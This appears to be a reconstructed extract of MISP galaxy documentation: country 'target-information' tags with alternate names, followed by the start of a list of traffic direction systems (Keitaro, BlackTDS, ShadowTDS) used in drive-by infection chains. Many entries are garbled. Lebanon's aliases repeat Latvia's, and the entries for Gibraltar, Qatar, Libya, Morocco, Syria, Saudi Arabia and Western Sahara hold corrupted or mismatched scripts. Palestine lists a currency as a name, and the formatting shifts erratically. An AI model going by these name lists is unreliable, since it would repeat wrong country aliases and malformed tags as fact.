• ityoppiah federalih demokrasih ummuno
• Rippabliikii Federaalawaa Dimokraataawaa Itiyoophiyaa
• Jamhuuriyadda Dimuqraadiga Federaalka Itoobiya

**Falkland Islands**

The tag is: `misp-galaxy:target-information="Falkland Islands"`

Falkland Islands is also known as:

• Islas Malvinas

**Faroe Islands**

The tag is: `misp-galaxy:target-information="Faroe Islands"`

Faroe Islands is also known as:

• Føroyar
• Færøerne
• Faeroe Islands

**Fiji**

The tag is: `misp-galaxy:target-information="Fiji"`

Fiji is also known as:

• Viti
• फ़िजी
• Republic of Fiji
• Matanitu Tugalala o Viti
•  República de Fidji

**Finland**

The tag is: `misp-galaxy:target-information="Finland"

Finland is also known as:

• Suomi
• Republic of Finland
• Suomen tasavalta
• Republiken Finland

**France**

The tag is: `misp-galaxy:target-information="France"

France is also known as:

• French Republic
• République française

**French Polynesia**

The tag is: `misp-galaxy:target-information="French Polynesia"

French Polynesia is also known as:

• Polynésie française
• Pōrīnetia Farāni

**Gabon**

The tag is: `misp-galaxy:target-information="Gabon"

Gabon is also known as:

• Gabonese Republic
• République gabonaise
Gambia
The tag is: misp-galaxy:target-information="Gambia"

Gambia is also known as:

• The Gambia
• Republic of The Gambia

Georgia
The tag is: misp-galaxy:target-information="Georgia"

Georgia is also known as:

• საქართველო
• sakartvelo
• Republic of Georgia
• საქართველოს რესპუბლიკა
• sakartvelos resp’ublik’a

Germany
The tag is: misp-galaxy:target-information="Germany"

Germany is also known as:

• Deutschland
• Federal Republic of Germany
• Bundesrepublik Deutschland

Ghana
The tag is: misp-galaxy:target-information="Ghana"

Ghana is also known as:

• Republic of Ghana

Gibraltar
The tag is: misp-galaxy:target-information="Gibraltar"

Gibraltar is also known as:

• .Libya��ق
Jabal Ṭāriq

Greece
The tag is: misp-galaxy:target-information="Greece"
Greece is also known as:
• Hellas
• Ελλάς
• Hellenic Republic
• Ελληνική Δημοκρατία
• Ellinikí Dimokratía

Greenland
The tag is: misp-galaxy:target-information="Greenland"
Greenland is also known as:
• Kalaallit Nunaat
• Grønland

Grenada
The tag is: misp-galaxy:target-information="Grenada"

Guam
The tag is: misp-galaxy:target-information="Guam"
Guam is also known as:
• Guåhān
• Territory of Guam

Guatemala
The tag is: misp-galaxy:target-information="Guatemala"
Guatemala is also known as:
• Republic of Guatemala
• República de Guatemala
Guernsey

The tag is: misp-galaxy:target-information="Guernsey"

Guernsey is also known as:

• Guernési

Guinea

The tag is: misp-galaxy:target-information="Guinea"

Guinea is also known as:

• Ginee
• Guinée
• Republic of Guinea
• Renndaandi Ginee
• République de Guinée (French)

Guinea-Bissau

The tag is: misp-galaxy:target-information="Guinea-Bissau"

Guinea-Bissau is also known as:

• Guiné-Bissau
• Republic of Guinea-Bissau
• República da Guiné-Bissau

Guyana

The tag is: misp-galaxy:target-information="Guyana"

Guyana is also known as:

• Co-operative Republic of Guyana

Haiti

The tag is: misp-galaxy:target-information="Haiti"

Haiti is also known as:

• Haïti
• Ayiti
• Republic of Haiti
• République d’Haïti
• Repiblik Ayiti
• Hayti

Honduras
The tag is: misp-galaxy:target-information="Honduras"

Honduras is also known as:
• Republic of Honduras
• República de Honduras

Hong Kong
The tag is: misp-galaxy:target-information="Hong Kong"

Hong Kong is also known as:
• Hong Kong Special Administrative Region of the People’s Republic of China

Hungary
The tag is: misp-galaxy:target-information="Hungary"

Hungary is also known as:
• Magyarország

Iceland
The tag is: misp-galaxy:target-information="Iceland"

Iceland is also known as:
• Ísland

India
The tag is: misp-galaxy:target-information="India"

India is also known as:
• Republic of India
• Bhārat Gaṇarājya
Indonesia

The tag is: misp-galaxy:target-information="Indonesia"

Indonesia is also known as:

• Republic of Indonesia
• Republik Indonesia

Iran

The tag is: misp-galaxy:target-information="Iran"

Iran is also known as:

• Persia
• Islamic Republic of Iran
• جمهوري اسلامی ایران
• Jomhuri-ye Eslami-ye Irân

Iraq

The tag is: misp-galaxy:target-information="Iraq"

Iraq is also known as:

• عراق
• al-'Irâq
• ێعراق
• ەراق
• República de Iraq
• عراق
• عراق
• عراق
• دانشوری جمهوری عراق
• Komarî Éraq

Ireland

The tag is: misp-galaxy:target-information="Ireland"

Ireland is also known as:
• Éire
• Republic of Ireland

**Isle of Man**

The tag is: *misp-galaxy:target-information="Isle of Man"*

Isle of Man is also known as:

• Mannin
• Ellan Vannin
• Mann

**Israel**

The tag is: *misp-galaxy:target-information="Israel"*

Israel is also known as:

• לֵאָרְשִי
•ِ إسْرَئِيل
• State of Israel

**Italy**

The tag is: *misp-galaxy:target-information="Italy"*

Italy is also known as:

• Italia
• Italian Republic
• Repubblica Italiana

**Ivory Coast**

The tag is: *misp-galaxy:target-information="Ivory Coast"*

Ivory Coast is also known as:

• Côte d'Ivoire
• Republic of Côte d'Ivoire
• République de Côte d'Ivoire
Jamaica

The tag is: misp-galaxy:target-information="Jamaica"

Japan

The tag is: misp-galaxy:target-information="Japan"

Japan is also known as:

- 日
- Nippon
- Nihon
- Nippon-koku
- Nihon-koku
- State of Japan

Jersey

The tag is: misp-galaxy:target-information="Jersey"

Jersey is also known as:

- Jèrri
- Bailiwick of Jersey
- Bailliage de Jersey
- Bailliage dé Jèrri

Jordan

The tag is: misp-galaxy:target-information="Jordan"

Jordan is also known as:

- لاُأْر
- Al-ʾUrdunn
- Hashemite Kingdom of Jordan
- لا ةكلمملا ألا ةيندر ها شةيم
- Al-Mamlakah Al-Urdunnīyah Al-Ḥāshimīyah

Kazakhstan

The tag is: misp-galaxy:target-information="Kazakhstan"
Kazakhstan is also known as:

- Қазақстан
- Qazaqstan
- Казахстан
- Kazakhstan
- Republic of Kazakhstan
- Қазақстан Республикасы
- Qazaqstan Respüblıkasy
- Республика Казахстан
- Respublika Kazakhstan

Kenya

The tag is: `misp-galaxy:target-information="Kenya"`

Kenya is also known as:

- Republic of Kenya
- amhuri ya Kenya

Kiribati

The tag is: `misp-galaxy:target-information="Kiribati"`

Kiribati is also known as:

- Republic of Kiribati
- Ribaberiki Kiribati

Kosovo

The tag is: `misp-galaxy:target-information="Kosovo"`

Kosovo is also known as:

- Kosova
- Kosovë
- Косово
- Republic of Kosovo
- Republika e Kosovës
- Република Косово
• Republika Kosovo

**Kuwait**

The tag is: `misp-galaxy:target-information="Kuwait"`

Kuwait is also known as:

• كلا و تي
• al-Kuwait
• State of Kuwait
• دو الكويت
• Dawlat al-Kuwait

**Kyrgyzstan**

The tag is: `misp-galaxy:target-information="Kyrgyzstan"`

Kyrgyzstan is also known as:

• Кыргызстан
• Киргизстан
• Kyrgyz
• Kyrgyz Republic
• Кыргыз Республикасы
• Киргиз Республикасы
• Кыргызская Республика
• Kyrgyzskaya Respublika
• Kirghizia
• Киргизия

**Laos**

The tag is: `misp-galaxy:target-information="Laos"`

Laos is also known as:

• Lào
• ເລາ
• Lao People's Democratic Republic
• ລາວ ທະບິເລື່ອງຊາດ
• Sathalanalat Paxathipatai Paxaxon Lao
République démocratique populaire lao
• Muang Lao
• ການນະທັບລາວ

Latvia
The tag is: misp-galaxy:target-information="Latvia"

Latvia is also known as:
• Latvija
• Leģmō
• Republic of Latvia
• Latvijas Republika
• Leģmō Vabām

Lebanon
The tag is: misp-galaxy:target-information="Lebanon"

Lebanon is also known as:
• Latvija
• Leģmō
• Republic of Latvia
• Latvijas Republika
• Leģmō Vabām

Lesotho
The tag is: misp-galaxy:target-information="Lesotho"

Lesotho is also known as:
• Kingdom of Lesotho
• 'Muso oa Lesotho

Liberia
The tag is: misp-galaxy:target-information="Liberia"

Liberia is also known as:
• Republic of Liberia
Libya

The tag is: misp-galaxy:target-information="Libya"

Libya is also known as:

- ⺧𝘊_cmos
- Libiyā
- State of Libya
- م ليبيا

Liechtenstein

The tag is: misp-galaxy:target-information="Liechtenstein"

Liechtenstein is also known as:

- Principality of Liechtenstein
- Fürstentum Liechtenstein

Lithuania

The tag is: misp-galaxy:target-information="Lithuania"

Lithuania is also known as:

- Lietuva
- Republic of Lithuania
- Lietuvos Respublika

Macau

The tag is: misp-galaxy:target-information="Macau"

Macau is also known as:

- Macao
- 澳門
- Macao Special Administrative Region of the People's Republic of China
- 中華人民共和國澳門特別行政區
- Jūng’wáh Yāhmāhn Guhng’wòhgwok Oumún Dahkbiht Hâhngjìngkēu
- Região Administrativa Especial de Macau da República Popular da China
North Macedonia
The tag is: `misp-galaxy:target-information="North Macedonia"`

North Macedonia is also known as:

- Republic of North Macedonia
- Република Северна Македонија
- Republika e Maqedonisë së Veriut

Madagascar
The tag is: `misp-galaxy:target-information="Madagascar"`

Madagascar is also known as:

- Madagasikara
- Republic of Madagascar
- Repoblikan'i Madagasikara
- République de Madagascar
- Malagasy Republic

Malawi
The tag is: `misp-galaxy:target-information="Malawi"`

Malawi is also known as:

- Republic of Malawi
- Dziko la Malaŵi
- Charu cha Malaŵi

Malaysia
The tag is: `misp-galaxy:target-information="Malaysia"`

Maldives
The tag is: `misp-galaxy:target-information="Maldives"`

Maldives is also known as:

- Dhivehi Raajje
• Republic of Maldives
• Dhivehi Raajjeyge Jumhooriyyaa

Mali

The tag is: `misp-galaxy:target-information="Mali"`

Mali is also known as:

• Republic of Mali
• Renndaandi Maali
• République du Mali
• Mali ka Fasojamana

Malta

The tag is: `misp-galaxy:target-information="Malta"`

Malta is also known as:

• Republic of Malta
• Repubblika ta' Malta

Marshall Islands

The tag is: `misp-galaxy:target-information="Marshall Islands"`

Marshall Islands is also known as:

• Republic of the Marshall Islands
• Aolepān Aorōkin Mājeḷ

Mauritania

The tag is: `misp-galaxy:target-information="Mauritania"`

Mauritania is also known as:

• موريتانيا
• Mūritānyā
• Mauritanie
• Islamic Republic of Mauritania
• موريتانيا الإسلامية
• al-Jumhūriyah al-Islāmiyah al-Mūrītāniyah
• République islamique de Mauritanie

**Mauritius**

The tag is: `misp-galaxy:target-information="Mauritius"`

Mauritius is also known as:

• Maurice  
• Moris  
• Republic of Mauritius  
• République de Maurice  
• Repiblik Moris

**Mayotte**

The tag is: `misp-galaxy:target-information="Mayotte"`

Mayotte is also known as:

• Maore  
• Mahori  
• Department of Mayotte  
• Département de Mayotte

**Mexico**

The tag is: `misp-galaxy:target-information="Mexico"`

Mexico is also known as:

• México  
• Méxihco  
• United Mexican States  
• Estados Unidos Mexicanos

**Micronesia**

The tag is: `misp-galaxy:target-information="Micronesia"`

Micronesia is also known as:

• FSM
• Federated States of Micronesia

Moldova

The tag is: misp-galaxy:target-information="Moldova"

Moldova is also known as:

• Republic of Moldova
• Republica Moldova

Monaco

The tag is: misp-galaxy:target-information="Monaco"

Monaco is also known as:

• Principality of Monaco
• Principauté de Monaco
• Principatu de Mûnegu

Mongolia

The tag is: misp-galaxy:target-information="Mongolia"

Mongolia is also known as:

• Монгол Улс
• Mongol Uls

Montenegro

The tag is: misp-galaxy:target-information="Montenegro"

Montenegro is also known as:

• Црна Гора
• Срна Гора

Montserrat

The tag is: misp-galaxy:target-information="Montserrat"

Morocco

The tag is: misp-galaxy:target-information="Morocco"
Morocco is also known as:

- ⵢⵔⷳⷮⷩⷱⷥ붱
- al-maġhrib
- ⵡⵎⵖⵔⵉⴱ
- ⵥⵎⵖⵔⵉⴱ
- Maroc
- Kingdom of Morocco
- ⵡⵎⵍⴰⴽⵛⴰ ⵡⵍⵎⵖⵔⵉⴱ
- al-mamlakah al-maghribiyah
- ⴱⵍⵎⴰⵍⴰⴽⵛⴰ ⴱⵍⵎⵖⵔⵉⴱ
- tageldit n Imaɣrib
- Royaume du Maroc

Mozambique

The tag is: misp-galaxy:target-information="Mozambique"

Mozambique is also known as:

- Republic of Mozambique
- Moçambique
- Mozambiki
- Msembiji
- Muzambhiki
- República de Moçambique
- Dzikoi la Mozambiki
- Jamhuri ya Msembiji

Myanmar

The tag is: misp-galaxy:target-information="Myanmar"

Myanmar is also known as:

-မြန်မာ
- Burma
- Republic of the Union of Myanmar
- ပြည်ထောင်စု သမိုင်းမာ တိုင်းထောင်စု
- Pyidaunzu Thanmāda Myāma Nainngandaw
Namibia
The tag is: misp-galaxy:target-information="Namibia"

Namibia is also known as:

- Republic of Namibia
- Republiek van Namibië
- Republik Namibia
- Namibiab Republiki dib
- Republika yaNamibia
- Orepublika yaNamibia
- Republika zaNamibia
- Rephaboliki ya Namibia
- Namibia ye Lukuluhile

Nauru
The tag is: misp-galaxy:target-information="Nauru"

Nauru is also known as:

- Naoero
- Republic of Nauru
- Repubrikin Naoero
- Pleasant Island

Nepal
The tag is: misp-galaxy:target-information="Nepal"

Nepal is also known as:

- नेपाल
- Federal Democratic Republic of Nepal
- संघीय लोकतन्त्र गणतन्त्र नेपाल
- Saṃghīya Lokatāntrik Gaṇatana Nepāl

Netherlands
The tag is: misp-galaxy:target-information="Netherlands"

Netherlands is also known as:
• Nederland
• Holland

**Netherlands Antilles**

The tag is: `misp-galaxy:target-information="Netherlands Antilles"

Netherlands Antilles is also known as:

• Nederlandse Antillen
• Antia Hulandes

**New Caledonia**

The tag is: `misp-galaxy:target-information="New Caledonia"

New Caledonia is also known as:

• Nouvelle-Calédonie

**New Zealand**

The tag is: `misp-galaxy:target-information="New Zealand"

New Zealand is also known as:

• Aotearoa

**Nicaragua**

The tag is: `misp-galaxy:target-information="Nicaragua"

Nicaragua is also known as:

• Republic of Nicaragua
• República de Nicaragua

**Niger**

The tag is: `misp-galaxy:target-information="Niger"

Niger is also known as:

• The Niger
• Republic of the Niger
• République du Niger
Nigeria

The tag is: `misp-galaxy:target-information="Nigeria"`

Nigeria is also known as:

- Federal Republic of Nigeria
- Jamhuriyar Taraiyar Nijeriya
- Ọ̀hànjikọ́ Ọ̀hànèzè Naijíríyà
- Orìleè-èdè Olóminiira Àpapò Nàijíríà

Niue

The tag is: `misp-galaxy:target-information="Niue"`

Niue is also known as:

- Niuē

North Korea

The tag is: `misp-galaxy:target-information="North Korea"`

North Korea is also known as:

- 조선
- Chosŏ
- 냥
- Pukchosŏn
- Democratic People's Republic of Korea
- DPR
- DPR Korea
- 조선민주주의인민공화국
- Chosŏn Minjujuì Inmin Konghwaguk

Northern Mariana Islands

The tag is: `misp-galaxy:target-information="Northern Mariana Islands"`

Northern Mariana Islands is also known as:

- Commonwealth of the Northern Mariana Islands
- Sankattan Siha Na Islas Mariânas
Norway

The tag is: misp-galaxy:target-information="Norway"

Norway is also known as:

• Norge
• Noreg
• Norga
• Nöörje
• Vuodna),
• Kingdom of Norway
• Kongeriket Norge
• Kongeriket Noreg
• Norgga gonagasriika
• Nøørjen gånkarijhke
• Vuona gånågisrijkka

Oman

The tag is: misp-galaxy:target-information="Oman"

Oman is also known as:

• عُمَان
• ʻUmān
• Sultanate of Oman
• لسَطَةنَعَمَا
• Salṭanat ʻUmān

Pakistan

The tag is: misp-galaxy:target-information="Pakistan"

Pakistan is also known as:

• Islamic Republic of Pakistan
• اِسلامی جمہوریہ پاکِستان
• Islāmī Jumhūriyah Pākistān
**Palau**

The tag is: `misp-galaxy:target-information="Palau"`

Palau is also known as:

- Belau
- Palaos
- Pelew
- Republic of Palau
- Beluu er a Belau
- Palau

**Palestine**

The tag is: `misp-galaxy:target-information="Palestine"`

Palestine is also known as:

- فلسطين
- Filasṭīn
- State of Palestine
- دولة فلسطين
- Dawlat Filasṭīn
- Palestine pound
- فلسطيني

**Panama**

The tag is: `misp-galaxy:target-information="Panama"`

Panama is also known as:

- Panamá
- Republic of Panama
- República de Panamá

**Papua New Guinea**

The tag is: `misp-galaxy:target-information="Papua New Guinea"`

Papua New Guinea is also known as:
• Papua Niugini
• Papua Niu Gini
• Independent State of Papua New Guinea
• Independen Stet bilong Papua Niugini
• Independen Stet bilong Papua Niu Gini

Paraguay

The tag is: `misp-galaxy:target-information="Paraguay"`

Paraguay is also known as:

• Paraguái
• Republic of Paraguay
• República del Paraguay
• Tetã Paraguái

Peru

The tag is: `misp-galaxy:target-information="Peru"`

Peru is also known as:

• Perú
• Piruw Republika
• Piruw Suyu
• Republic of Peru
• República del Perú

Philippines

The tag is: `misp-galaxy:target-information="Philippines"`

Philippines is also known as:

• Pilipinas
• Filipinas
• Republic of the Philippines
• Republika ng Pilipinas
Pitcairn
The tag is: \texttt{misp-galaxy:target-information=“Pitcairn”}

Pitcairn is also known as:
- Pitkern Ailen
- Pitcairn, Henderson, Ducie and Oeno Islands
- Pitcairn Islands

Poland
The tag is: \texttt{misp-galaxy:target-information=“Poland”}

Poland is also known as:
- Polska
- Republic of Poland
- Rzeczpospolita Polska

Portugal
The tag is: \texttt{misp-galaxy:target-information=“Portugal”}

Portugal is also known as:
- Portuguese Republic
- República Portuguesa

Puerto Rico
The tag is: \texttt{misp-galaxy:target-information=“Puerto Rico”}

Puerto Rico is also known as:
- Puerto Rico
- Porto Rico

Qatar
The tag is: \texttt{misp-galaxy:target-information=“Qatar”}

Qatar is also known as:
- ﺣアルバ
- Qaదar
Republic of the Congo

The tag is: `misp-galaxy:target-information="Republic of the Congo"`

Republic of the Congo is also known as:

- République du Congo
- Republikya Kôngo
- Republikiya Kongó
- Congo-Brazzaville
- Congo Republic
- RotC
- Congo

Reunion

The tag is: `misp-galaxy:target-information="Reunion"`

Reunion is also known as:

- La Réunion
- Île Bourbon

Romania

The tag is: `misp-galaxy:target-information="Romania"`

Romania is also known as:

- România

Russia

The tag is: `misp-galaxy:target-information="Russia"`

Russia is also known as:

- Росси́я
- Rossiya
- Russian Federation
- Российская Федерация
• Rossiyskaya Federatsiya

Rwanda
The tag is: misp-galaxy:target-information="Rwanda"

Rwanda is also known as:

• u Rwanda
• Republic of Rwanda
• Repubulika y'u Rwanda
• République du Rwanda
• Jamhuri ya Rwanda

Saint Barthelemy
The tag is: misp-galaxy:target-information="Saint Barthelemy"

Saint Barthelemy is also known as:

• Saint-Barthélemy
• Territorial Collectivity of Saint-Barthélemy
• Collectivité territoriale de Saint-Barthélemy
• Collectivity of Saint-Barthélemy
• Collectivité de Saint-Barthélemy

Saint Helena
The tag is: misp-galaxy:target-information="Saint Helena"

Saint Helena is also known as:

• Saint Helena, Ascension and Tristan da Cunha

Saint Kitts and Nevis
The tag is: misp-galaxy:target-information="Saint Kitts and Nevis"

Saint Kitts and Nevis is also known as:

• Federation of Saint Christopher and Nevis

Saint Lucia
The tag is: misp-galaxy:target-information="Saint Lucia"
Saint Lucia is also known as:

- Sainte-Lucie

Saint Martin

The tag is: `misp-galaxy:target-information="Saint Martin"

Saint Martin is also known as:

- Saint-Martin
- Collectivity of Saint Martin
- Collectivité de Saint-Martin

Saint Pierre and Miquelon

The tag is: `misp-galaxy:target-information="Saint Pierre and Miquelon"

Saint Pierre and Miquelon is also known as:

- Saint-Pierre-et-Miquelon
- Overseas Collectivity of Saint Pierre and Miquelon
- Collectivité d’outre-mer de Saint-Pierre-et-Miquelon

Saint Vincent and the Grenadines

The tag is: `misp-galaxy:target-information="Saint Vincent and the Grenadines"

Samoa

The tag is: `misp-galaxy:target-information="Samoa"

Samoa is also known as:

- Independent State of Samoa
- Malo Saōlo Tofoʻatasi o Sāmoa
- Western Samoa

San Marino

The tag is: `misp-galaxy:target-information="San Marino"

San Marino is also known as:

- Republic of San Marino
- Repubblica di San Marino
Most Serene Republic of San Marino
• Serenissima Repubblica di San Marino

Sao Tome and Principe
The tag is: misp-galaxy:target-information="Sao Tome and Principe"
Sao Tome and Principe is also known as:
• Democratic Republic of São Tomé and Príncipe
• República Democrática de São Tomé e Príncipe

Saudi Arabia
The tag is: misp-galaxy:target-information="Saudi Arabia"
Saudi Arabia is also known as:
• Kingdom of Saudi Arabia
• ﺍﻻﻤﻼﻜﺔ ﺍﻹﺮﺒﺎＢayah ﺍﻟﺎﺳـﺎد
• al-Mamlakah al-Arabiyyah as-Saūdiyyah

Senegal
The tag is: misp-galaxy:target-information="Senegal"
Senegal is also known as:
• Sénégal
• Republic of Senegal
• Réewum Senegaal
• Renndaandi Senegal
• République du Sénégal

Serbia
The tag is: misp-galaxy:target-information="Serbia"
Serbia is also known as:
• Србија
• Srbija
• Republic of Serbia
• Република Србија
• Republika Srbiya

Seychelles
The tag is: misp-galaxy:target-information="Seychelles"

Seychelles is also known as:
• Republic of Seychelles
• République des Seychelles
• Repiblik Sesel

Sierra Leone
The tag is: misp-galaxy:target-information="Sierra Leone"

Sierra Leone is also known as:
• Republic of Sierra Leone
• Salone

Singapore
The tag is: misp-galaxy:target-information="Singapore"

Singapore is also known as:
• Republic of Singapore

Sint Maarten
The tag is: misp-galaxy:target-information="Sint Maarten"

Slovakia
The tag is: misp-galaxy:target-information="Slovakia"

Slovakia is also known as:
• Slovensko
• Slovak Republic
• Slovenská republika

Slovenia
The tag is: misp-galaxy:target-information="Slovenia"
Slovenia is also known as:

- Slovenija
- Republic of Slovenia
- Republika Slovenija

**Solomon Islands**

The tag is: \textit{misp-galaxy:target-information="Solomon Islands"}

**Somalia**

The tag is: \textit{misp-galaxy:target-information="Somalia"}

Somalia is also known as:

- Soomaaliya
- 
- aṣ-Ṣūmāl
- Federal Republic of Somalia
- Jamhuuriyadda Federaalka Soomaaliya
- Jumhūriyat aṣ-Ṣūmāl al-Fidirāliyah

**South Africa**

The tag is: \textit{misp-galaxy:target-information="South Africa"}

South Africa is also known as:

- Republic of South Africa
- RSA
- iRiphabhuliki yaseNingizimu Afrika
- iRiphabliki yomZantsi Afrika
- Republiek van Suid-Afrika
- Repabliki ya Afrika-Borwa
- Rephaboliki ya Aforika Borwa
- Rephaboliki ya Afrika Borwa
- Riphabliki ya Afrika Dzonga
- iRiphabhulikhi yeNingizimu Afrika
- Riphabūiki ya Afurika Tshipembe
South Korea

The tag is: `misp-galaxy:target-information="South Korea"`

South Korea is also known as:

- Republic of Korea
- 대한민국
- Daehan Minguk

South Sudan

The tag is: `misp-galaxy:target-information="South Sudan"`

South Sudan is also known as:

- Republic of South Sudan

Spain

The tag is: `misp-galaxy:target-information="Spain"`

Spain is also known as:

- Kingdom of Spain
- Reino de España
- Regne d’Espanya
- Espainiako Erresuma
- Reiaume d’Espanha

Sri Lanka

The tag is: `misp-galaxy:target-information="Sri Lanka"`

Sri Lanka is also known as:

- ශ්‍රී ලංකා; Tamil: இலங்கை
- Ilaṅkai
- Democratic Socialist Republic of Sri Lanka
- ශ්‍රී ලංකා ප්‍රජාතාන්ත්‍රික සමාජවාදී ජනරජ
- ශ්‍රී ලංකා ප්‍රජාතාන්ත්‍රික සමාජවාදී ජනරජය
- ඉතිහාසික මහවැරුදුම් සමාජවාදී ජනරජය
Sudan

The tag is: misp-galaxy:target-information="Sudan"

Sudan is also known as:

• سلواصيمل
• as-Sūdān
• Republic of the Sudan
• جمهورية السودان
• Jumhūriyyat as-Sūdān

Suriname

The tag is: misp-galaxy:target-information="Suriname"

Suriname is also known as:

• Surinam
• Republic of Suriname
• Republiek Suriname

Svalbard and Jan Mayen

The tag is: misp-galaxy:target-information="Svalbard and Jan Mayen"

Svalbard and Jan Mayen is also known as:

• Svalbard og Jan Mayen

Swaziland

The tag is: misp-galaxy:target-information="Swaziland"

Swaziland is also known as:

• Eswatini
• eSwatini
• Kingdom of eSwatini
• Umbuso weSwatini
Sweden
The tag is: misp-galaxy:target-information="Sweden"

Sweden is also known as:

- Sverige
- Kingdom of Sweden
- Konungariket Sverige

Switzerland
The tag is: misp-galaxy:target-information="Switzerland"

Switzerland is also known as:

- Swiss Confederation
- Schweizerische Eidgenossenschaft
- Confédération suisse
- Confederazione Svizzera
- Confederaziun svizra
- Confoederatio Helvetica

Syria
The tag is: misp-galaxy:target-information="Syria"

Syria is also known as:

- سوريّة
- Sūriyā
- Syrian Arab Republic
-闩阿拉伯共和国
- al-Jumhūriyah al-ʻArabīyah as-Sūriyah

Taiwan
The tag is: misp-galaxy:target-information="Taiwan"

Taiwan is also known as:

- Republic of China
- ROC
Tajikistan

The tag is: misp-galaxy:target-information="Tajikistan"

Tajikistan is also known as:

• Тоҷикистон
• Republic of Tajikistan
• Чумхурии Тоҷикистон
• Jumhurii Tojikiston

Tanzania

The tag is: misp-galaxy:target-information="Tanzania"

Tanzania is also known as:

• United Republic of Tanzania
• Jamhuri ya Muungano wa Tanzania

Thailand

The tag is: misp-galaxy:target-information="Thailand"

Thailand is also known as:

• Siam
• Kingdom of Thailand
• ราชอาณาจักร
• Ratcha-anachak Thai

Togo

The tag is: misp-galaxy:target-information="Togo"

Togo is also known as:

• Togolese Republic
• République togolaise

Tokelau

The tag is: misp-galaxy:target-information="Tokelau"
Tokelau is also known as:

- Union Islands
- Tokelau Islands

**Tonga**

The tag is: `misp-galaxy:target-information="Tonga"

Tonga is also known as:

- Kingdom of Tonga
- Puleʻanga Fakatuʻi ʻo Tonga

**Trinidad and Tobago**

The tag is: `misp-galaxy:target-information="Trinidad and Tobago"

Trinidad and Tobago is also known as:

- Republic of Trinidad and Tobago

**Tunisia**

The tag is: `misp-galaxy:target-information="Tunisia"

Tunisia is also known as:

- تونس
- Republic of Tunisia
- جمهورية تونس
- تونس
- République tunisienne

**Turkey**

The tag is: `misp-galaxy:target-information="Turkey"

Turkey is also known as:

- Türkiye
- Republic of Turkey
- Türkiye Cumhuriyeti
Turkmenistan
The tag is: misp-galaxy:target-information="Turkmenistan"

Turkmenistan is also known as:
  • Türkmenistan

Turks and Caicos Islands
The tag is: misp-galaxy:target-information="Turks and Caicos Islands"

Turks and Caicos Islands is also known as:
  • TCI

Tuvalu
The tag is: misp-galaxy:target-information="Tuvalu"

Tuvalu is also known as:
  • Ellice Islands

U.S. Virgin Islands
The tag is: misp-galaxy:target-information="U.S. Virgin Islands"

U.S. Virgin Islands is also known as:
  • United States Virgin Islands
  • USVI
  • American Virgin Islands
  • Virgin Islands of the United States

Uganda
The tag is: misp-galaxy:target-information="Uganda"

Uganda is also known as:
  • Republic of Uganda[
  • Jamhuri ya Uganda

Ukraine
The tag is: misp-galaxy:target-information="Ukraine"
Ukraine is also known as:

- Україна
- Ukrayina

**United Arab Emirates**

The tag is: `misp-galaxy:target-information="United Arab Emirates"`

United Arab Emirates is also known as:

- UAE
- إمارات العربية المتحدة
- al-ʾImārāt al-ʾArabīyyah al-Muttaḍidah
- Emirates
- امارات
- al-ʾUmrāt

**United Kingdom**

The tag is: `misp-galaxy:target-information="United Kingdom"`

United Kingdom is also known as:

- United Kingdom of Great Britain and Northern Ireland
- UK
- U.K.
- Britain

**United States**

The tag is: `misp-galaxy:target-information="United States"`

United States is also known as:

- United States of America
- USA
- U.S.
- US
- America
Uruguay

The tag is: `misp-galaxy:target-information="Uruguay"`

Uruguay is also known as:

- Oriental Republic of Uruguay
- República Oriental del Uruguay
- República Oriental do Uruguai

Uzbekistan

The tag is: `misp-galaxy:target-information="Uzbekistan"`

Uzbekistan is also known as:

- O‘zbekiston
- Ўзбекистон
- Republic of Uzbekistan
- O‘zbekiston Respublikasi
- Ўзбекистон Республикаси

Vanuatu

The tag is: `misp-galaxy:target-information="Vanuatu"`

Vanuatu is also known as:

- Republic of Vanuatu
- Ripablik blong Vanuatu
- République de Vanuatu

Vatican

The tag is: `misp-galaxy:target-information="Vatican"`

Vatican is also known as:

- Vatican City
- Vatican City State
- Status Civitatis Vaticanae
- Stato della Città del Vaticano
Venezuela

The tag is: misp-galaxy:target-information="Venezuela"

Venezuela is also known as:

- Bolivarian Republic of Venezuela
- República Bolivariana de Venezuela

Vietnam

The tag is: misp-galaxy:target-information="Vietnam"

Vietnam is also known as:

- Việt Nam
- Socialist Republic of Vietnam
- Cộng hòa xã hội chủ nghĩa Việt Nam

Wallis and Futuna

The tag is: misp-galaxy:target-information="Wallis and Futuna"

Wallis and Futuna is also known as:

- Territory of the Wallis and Futuna Islands
- Wallis-et-Futuna
- Territoire des îles Wallis-et-Futuna
- Uvea mo Futuna
- Telituale o Uvea mo Futuna

Western Sahara

The tag is: misp-galaxy:target-information="Western Sahara"

Western Sahara is also known as:

- ⵍⴰⵙ האישי ⵉⵏⵉⵏ ⵃⴰⵕⴱⵉⵢⴰ
- aṣ-ṣaḥḥā' al-Gharbiyah
- Taneẓroft Tutrimt
- Sahara Occidental
Yemen

The tag is: misp-galaxy:target-information="Yemen"

Yemen is also known as:

- ٱلْيَمَنَ
- al-Yaman
- Republic of Yemen
- ٱلْجُمْهُورُيَةُ الْيَمَانِيَةُ
- al-Jumhūrīyah al-Yamanīyah
- Yemeni Republic

Zambia

The tag is: misp-galaxy:target-information="Zambia"

Zambia is also known as:

- Republic of Zambia

Zimbabwe

The tag is: misp-galaxy:target-information="Zimbabwe"

Zimbabwe is also known as:

- Rhodesia
- Republic of Zimbabwe
- Nyika yeZimbabwe
- Ilizwe leZimbabwe
- Dziko la Zimbabwe
- Hango yeZimbabwe
- Zimbabwe Nù
- Inyika yeZimbabwe
- Tiko ra Zimbabwe
- Naha ya Zimbabwe
- Cisi ca Zimbabwe
- Shango ḡa Zimbabwe
TDS

TDS is a list of Traffic Direction System used by adversaries.

TDS is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Kafeine

Keitaro

Keitaro TDS is among the mostly used TDS in drive by infection chains.

The tag is: `misp-galaxy:tds="Keitaro"`

Table 11089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://keitarotds.com/">https://keitarotds.com/</a></td>
</tr>
</tbody>
</table>

BlackTDS

BlackTDS is mutualised TDS advertised underground since end of December 2017.

The tag is: `misp-galaxy:tds="BlackTDS"`

Table 11090. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>.com/[<a href="https://blacktds.com/">https://blacktds.com/</a></td>
</tr>
</tbody>
</table>

ShadowTDS

ShadowTDS is advertised underground since 2016-02. It’s in fact more like a Social Engineering kit focused on Android and embedding a TDS.

The tag is: `misp-galaxy:tds="ShadowTDS"`

